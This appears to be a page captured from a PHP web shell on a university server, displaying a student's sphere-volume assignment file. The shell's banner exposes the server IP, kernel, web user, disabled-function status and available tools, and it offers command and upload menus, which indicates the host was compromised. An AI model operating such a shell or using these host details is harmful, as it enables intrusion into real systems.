Server IP : 172.16.15.8 / Your IP : 18.190.253.56 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/idetonyeaku/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File: volumeofsphere.php Assignment: 2 Part: a Due: Feb. 19, 2018 Author: Ikechukwu Etonyeaku Goal: Create a HTML form that receives the radius of a sphere, and a PHP script page that displays its volume (display to one decimal place). --> <HTML> <style> body { border: 2px solid black; padding: 25px; background:url(https://i3.wp.com/wallpapercave.com/wp/3XBLuRH.jpg); background-repeat:no-repeat; background-size: auto; } .black_bg { background-color: black; padding: 3px; } </style> <Font color = #DA291C> <CENTER> <H2><span class = "black_bg"><strong> Volume of a Sphere</span> </H2> <HR> <?php $r = $_POST['radius']; $volume = 4/3 * M_PI * pow($r,3) ; $v = number_format($volume, 1); print "The Volume of a Sphere is: $v" ; ?> <HR> <A HREF=index.html><span class = "black_bg" size = "20">Go Home</span></A> </font> </center> </html>